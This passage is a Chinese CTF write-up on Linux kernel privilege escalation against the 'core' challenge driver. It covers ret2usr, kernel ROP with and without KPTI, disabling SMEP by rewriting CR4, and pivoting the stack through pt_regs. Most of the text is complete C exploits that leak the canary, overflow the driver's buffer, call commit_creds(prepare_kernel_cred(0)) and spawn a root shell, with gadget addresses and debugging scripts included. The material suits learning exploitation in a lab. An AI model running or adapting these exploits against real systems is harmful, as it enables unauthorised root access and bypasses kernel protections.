向全局变量 name
上写,这样通过 core_write()
和 core_copy_func()
就可以控制 ropchain
了 。
1 2 3 4 5 6 7 8 9 10 11 signed __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; v3 = a3; printk("\x016core: called core_writen" ); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int )v3; printk("\x016core: error copying data from userspacen" ); return 0xFFFFFFF2 LL; }
动态调试 关闭 kaslr
并将权限调到 root
,通过 add-symbol-file core.ko textaddr
把 core.ko
符号加载进去。
1 2 3 4 5 6 7 8 #!/bin/sh gdb -q \ -ex "file $(find . -name vmlinux) " \ -ex "add-symbol-file $(find . -name core.ko) 0xffffffffc0000000" \ -ex "target remote localhost:1234" \ -ex "b *0xffffffffc000015f" \ -ex "c"
exp 都很简单,很容易看懂,就不调试了。
ret2user 内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由system("/bin/sh")
变为了 commit_creds(&init_cred)
或 commit_creds(prepare_kernel_cred(NULL))
,当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。
状态保存
通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作—— 保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
算是一个通用的 pwn 板子。
方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel
。
1 2 3 4 5 6 7 8 9 10 11 size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); }
返回用户态
由内核态返回用户态只需要:
swapgs
指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。也用于恢复用户态 GS 寄存器。
sysretq
或者iretq
恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq
就可以成功着陆回用户态。
执行 iretq
时的栈布局。
1 2 3 4 5 6 7 8 9 10 11 |----------------------| | RIP |<== low mem |----------------------| | CS | |----------------------| | EFLAGS | |----------------------| | RSP | |----------------------| | SS |<== high mem |----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
1 2 3 4 5 6 7 ↓ swapgs iretq user_shell_addr user_cs user_eflags user_sp user_ss
利用思路 在未开启 SMAP/SMEP
保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,因此 ret2usr
这种攻击手法应运而生,以内核的 ring 0 权限执行用户空间的代码以完成提权。ret2user
即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。通常 CTF 中的 ret2usr 还是以执行commit_creds(prepare_kernel_cred(NULL))
进行提权为主要的攻击手法,不过相比起构造冗长的 ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可。另外题目给的vmlinux用于提取gadget可以,但使用IDA分析时太慢,可以用vmlinux-to-elf解压bzImage进行分析。
从 /tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux
寻找gadget
。
保存用户状态。
通过设置 off 读取 canary。
于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))
提权。
通过 swapgs; mov trap_frame, rsp; iretq
返回用户空间,并执行 system("/bin/sh");
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0 ;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0 ;void *init_cred = (void *) 0xFFFFFFFF8223D1A0 ;void get_shell () { system("/bin/sh" ); }struct trap_frame { size_t user_rip; size_t user_cs; size_t user_rflags; size_t user_sp; size_t user_ss; } __attribute__((packed)); struct trap_frame tf ;size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t ) &tf;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); tf.user_rip = (size_t ) get_shell; tf.user_cs = user_cs; tf.user_rflags = user_rflags; tf.user_sp = user_sp - 0x1000 ; tf.user_ss = user_ss; puts ("[*] status has been saved." ); } void get_root () { commit_creds(init_cred); asm ("swapgs;" "mov rsp, tf_addr;" "iretq;" ); } int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_copy_func (size_t len) { ioctl(core_fd, 0x6677889A , len); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds = (void *) ((size_t ) commit_creds + offset); prepare_kernel_cred = (void *) ((size_t ) prepare_kernel_cred + offset); init_cred = (void *) ((size_t ) init_cred + offset); break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } int main () { rebase(); save_status(); core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Failed to open core." ); exit (-1 ); } size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[64 ] = canary; *(void **) &buf[80 ] = get_root; core_write(buf, sizeof (buf)); core_copy_func(0xffffffffffff0000 | sizeof (buf)); return 0 ; }
kernel rop without KPIT 开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP ,执行 commit_creds(prepare_kernel_cred(0))
, 然后 iret
返回用户空间可以绕过上述保护。
添加 smep
和 smap
保护。
1 2 3 4 5 6 7 8 9 qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \ -cpu qemu64,+smep,+smap
由于找不到 mov rdi, rax; ret;
这条 gadget
,因此需要用 mov rdi, rax; call rdx;
代替,其中 rdx
指向 pop rcx; ret;
可以清除 call
指令压入栈中的 rip
,因此相当于 ret
。
利用思路
从 /tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux寻找gadget
。
保存用户状态。
通过设置 off
读取 canary
。
于内核空间 rop
调用 commit_creds(prepare_kernel_cred(NULL))
提权。
通过 swapgs; popfq; ret;
,iretq
返回用户空间,并执行 system("/bin/sh");
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0 ;size_t commit_creds = 0xFFFFFFFF8109C8E0 ;size_t init_cred = 0xFFFFFFFF8223D1A0 ;size_t pop_rdi_ret = 0xffffffff81000b2f ;size_t pop_rdx_ret = 0xffffffff810a0f49 ;size_t pop_rcx_ret = 0xffffffff81021e53 ;size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a ;size_t swapgs_popfq_ret = 0xffffffff81a012da ;size_t iretq = 0xffffffff81050ac2 ;void get_shell () { system("/bin/sh" ); } size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_copy_func (size_t len) { ioctl(core_fd, 0x6677889A , len); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds += offset; prepare_kernel_cred += offset; init_cred += offset; pop_rdi_ret += offset; pop_rdx_ret += offset; pop_rcx_ret += offset; mov_rdi_rax_call_rdx += offset; swapgs_popfq_ret += offset; iretq += offset; break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } int main () { save_status(); rebase(); core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Failed to open core." ); exit (-1 ); } size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[64 ] = canary; size_t *rop = (size_t *) &buf[80 ], it = 0 ; rop[it++] = pop_rdi_ret; rop[it++] = 0 ; rop[it++] = prepare_kernel_cred; rop[it++] = pop_rdx_ret; rop[it++] = pop_rcx_ret; rop[it++] = mov_rdi_rax_call_rdx; rop[it++] = commit_creds; rop[it++] = swapgs_popfq_ret; rop[it++] = 0 ; rop[it++] = iretq; rop[it++] = (size_t ) get_shell; rop[it++] = user_cs; rop[it++] = user_rflags; rop[it++] = user_sp; rop[it++] = user_ss; core_write(buf, sizeof (buf)); core_copy_func(0xffffffffffff0000 | sizeof (buf)); return 0 ; }
kernel rop with KPIT 开启 kpti
1 2 3 4 5 6 7 8 9 10 #!/bin/sh qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \ -cpu kvm64,+smep,+smap
利用思路 此时需要借助 swapgs_restore_regs_and_return_to_usermode
返回用户态。该函数是内核在 arch/x86/entry/entry_64.S
中提供的一个用于完成内核态到用户态切换的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 .text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void) .text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode .text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near .text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j .text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ... .text:FFFFFFFF81A008DA pop r15 .text:FFFFFFFF81A008DC pop r14 .text:FFFFFFFF81A008DE pop r13 .text:FFFFFFFF81A008E0 pop r12 .text:FFFFFFFF81A008E2 pop rbp .text:FFFFFFFF81A008E3 pop rbx .text:FFFFFFFF81A008E4 pop r11 .text:FFFFFFFF81A008E6 pop r10 .text:FFFFFFFF81A008E8 pop r9 .text:FFFFFFFF81A008EA pop r8 .text:FFFFFFFF81A008EC pop rax .text:FFFFFFFF81A008ED pop rcx .text:FFFFFFFF81A008EE pop rdx .text:FFFFFFFF81A008EF pop rsi .text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this .text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004 .text:FFFFFFFF81A008FC push qword ptr [rdi+30h] .text:FFFFFFFF81A008FF push qword ptr [rdi+28h] .text:FFFFFFFF81A00902 push qword ptr [rdi+20h] .text:FFFFFFFF81A00905 push qword ptr [rdi+18h] .text:FFFFFFFF81A00908 push qword ptr [rdi+10h] .text:FFFFFFFF81A0090B push qword ptr [rdi] .text:FFFFFFFF81A0090D push rax .text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953 [......] ;loc_FFFFFFFF81A00953 .text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j .text:FFFFFFFF81A00953 pop rax .text:FFFFFFFF81A00954 pop rdi .text:FFFFFFFF81A00955 swapgs .text:FFFFFFFF81A00958 jmp native_iret .text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp [......] ;native_iret .text:FFFFFFFF81A00980 test [rsp+arg_18], 4 .text:FFFFFFFF81A00985 jnz short native_irq_return_ldt .text:FFFFFFFF81A00985 native_iret endp [......] ;native_irq_return_ldt .text:FFFFFFFF81A00989 push rdi .text:FFFFFFFF81A0098A swapgs .text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1 [......] ;loc_FFFFFFFF81A009A1 .text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000 .text:FFFFFFFF81A009AA mov [rdi], rax .text:FFFFFFFF81A009AD mov rax, [rsp+8] .text:FFFFFFFF81A009B2 mov [rdi+8], rax .text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0] .text:FFFFFFFF81A009BB mov [rdi+10h], rax .text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8] .text:FFFFFFFF81A009C4 mov [rdi+18h], rax .text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18] .text:FFFFFFFF81A009CD mov [rdi+28h], rax .text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10] .text:FFFFFFFF81A009D6 mov [rdi+20h], rax .text:FFFFFFFF81A009DA and eax, 0FFFF0000h .text:FFFFFFFF81A009DF or rax, gs:qword_F008 .text:FFFFFFFF81A009E8 push rax .text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E [......] ;loc_FFFFFFFF81A00A2E .text:FFFFFFFF81A00A2E pop rax .text:FFFFFFFF81A00A2F swapgs .text:FFFFFFFF81A00A32 pop rdi .text:FFFFFFFF81A00A33 mov rsp, rax .text:FFFFFFFF81A00A36 pop rax .text:FFFFFFFF81A00A37 jmp native_irq_return_iret [......] ;native_irq_return_iret .text:FFFFFFFF81A00987 iretq .text:FFFFFFFF81A00987 native_irq_return_iret endp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0 ;size_t commit_creds = 0xFFFFFFFF8109C8E0 ;size_t init_cred = 0xFFFFFFFF8223D1A0 ;size_t pop_rdi_ret = 0xffffffff81000b2f ;size_t pop_rdx_ret = 0xffffffff810a0f49 ;size_t pop_rcx_ret = 0xffffffff81021e53 ;size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a ;size_t swapgs_popfq_ret = 0xffffffff81a012da ;size_t iretq = 0xffffffff81050ac2 ;size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA ;void get_shell () { system("/bin/sh" ); } size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_copy_func (size_t len) { ioctl(core_fd, 0x6677889A , len); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds += offset; prepare_kernel_cred += offset; init_cred += offset; pop_rdi_ret += offset; pop_rdx_ret += offset; pop_rcx_ret += offset; mov_rdi_rax_call_rdx += offset; swapgs_popfq_ret += offset; iretq += offset; swapgs_restore_regs_and_return_to_usermode += offset; break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } int main () { save_status(); rebase(); core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Failed to open core." ); exit (-1 ); } size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[64 ] = canary; size_t *rop = (size_t *) &buf[80 ], it = 0 ; rop[it++] = pop_rdi_ret; rop[it++] = 0 ; rop[it++] = prepare_kernel_cred; rop[it++] = pop_rdx_ret; rop[it++] = pop_rcx_ret; rop[it++] = mov_rdi_rax_call_rdx; rop[it++] = commit_creds; rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16 ; rop[it++] = 0 ; rop[it++] = 0 ; rop[it++] = (size_t ) get_shell; rop[it++] = user_cs; rop[it++] = user_rflags; rop[it++] = user_sp; rop[it++] = user_ss; core_write(buf, sizeof (buf)); core_copy_func(0xffffffffffff0000 | sizeof (buf)); return 0 ; }
kernel rop + ret2user 利用思路 这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
例如,当
1 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
1 2 mov cr4, 0x1407e0 # 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep 保护。
搜索一下从 vmlinux
中提取出的 gadget,很容易就能达到这个目的。
如何查看 CR4 寄存器的值?
gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0
,即 mov cr4, 0x6f0
。
exp 注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0 ;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0 ;void *init_cred = (void *) 0xFFFFFFFF8223D1A0 ;size_t pop_rdi_ret = 0xffffffff81000b2f ;size_t pop_rdx_ret = 0xffffffff810a0f49 ;size_t pop_rcx_ret = 0xffffffff81021e53 ;size_t mov_cr4_rdi_ret = 0xffffffff81075014 ;size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a ;size_t swapgs_popfq_ret = 0xffffffff81a012da ;size_t iretq = 0xffffffff81050ac2 ;void get_shell () { system("/bin/sh" ); }size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } void get_root () { commit_creds(prepare_kernel_cred(0 )); } int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_copy_func (size_t len) { ioctl(core_fd, 0x6677889A , len); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds = (void *) ((size_t ) commit_creds + offset); prepare_kernel_cred = (void *) ((size_t ) prepare_kernel_cred + offset); init_cred = (void *) ((size_t ) init_cred + offset); pop_rdi_ret += offset; pop_rdx_ret += offset; pop_rcx_ret += offset; mov_rdi_rax_call_rdx += offset; swapgs_popfq_ret += offset; iretq += offset; break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } int main () { save_status(); rebase(); core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Failed to open core." ); exit (-1 ); } size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[64 ] = canary; size_t *rop = (size_t *) &buf[80 ], it = 0 ; rop[it++] = pop_rdi_ret; rop[it++] = 0x00000000000006f0 ; rop[it++] = mov_cr4_rdi_ret; rop[it++] = (size_t ) get_root; rop[it++] = swapgs_popfq_ret; rop[it++] = 0 ; rop[it++] = iretq; rop[it++] = (size_t ) get_shell; rop[it++] = user_cs; rop[it++] = user_rflags; rop[it++] = user_sp; rop[it++] = user_ss; core_write(buf, sizeof (buf)); core_copy_func(0xffffffffffff0000 | sizeof (buf)); return 0 ; }
利用 pt_regs 构造 kernel ROP 查看entry_SYSCALL_64
这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs
结构体,该结构体实质上位于内核栈底,定义 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; };
内核栈只有一个页面的大小,而 pt_regs
结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start
),在我们通过该函数指针劫持内核执行流时 rsp
与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret"
的gadget
便能够完成ROP
,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget
。
KPTI pass:使用 seq_operations + pt_regs
结构体 seq_operations
的条目如下:
1 2 3 4 5 6 7 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当我们打开一个 stat 文件时(如 /proc/self/stat
)便会在内核空间中分配一个 seq_operations
结构体
当我们 read 一个 stat 文件时,内核会调用其 proc_ops
的 proc_read_iter
指针,然后调用 seq_operations->start
函数指针
利用思路 这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs
上构造 rop 。我们在调用 core_copy_func
函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func
函数的返回处下断点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __asm__( "mov r15, 0x1111111111111111;" "mov r14, 0x2222222222222222;" "mov r13, 0x3333333333333333;" "mov r12, 0x4444444444444444;" "mov rbp, 0x5555555555555555;" "mov rbx, 0x6666666666666666;" "mov r11, 0x7777777777777777;" "mov r10, 0x8888888888888888;" "mov r9, 0x9999999999999999;" "mov r8, 0xaaaaaaaaaaaaaaaa;" "mov rcx, 0xbbbbbbbbbbbbbbbb;" "mov rax, 0x10;" "mov rdx, 0xffffffffffff0050;" "mov rsi, 0x6677889A;" "mov rdi, core_fd;" "syscall" );
数字没变的寄存器就是我们能够控制的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""' ) 0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333' ) 0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD' ) 0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU' ) 10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff' ) 11:0088│ 0xffffc90000113f88 ◂— 0x207 12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa 15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda 16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */ 18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a 19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004 1a:00d0│ 0xffffc90000113fd0 ◂— 0x10 1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */ 1d:00e8│ 0xffffc90000113fe8 ◂— 0x207 1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0 1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本内核对抗利用 pt_regs 进行攻击的办法 正所谓魔高一尺道高一丈,内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs
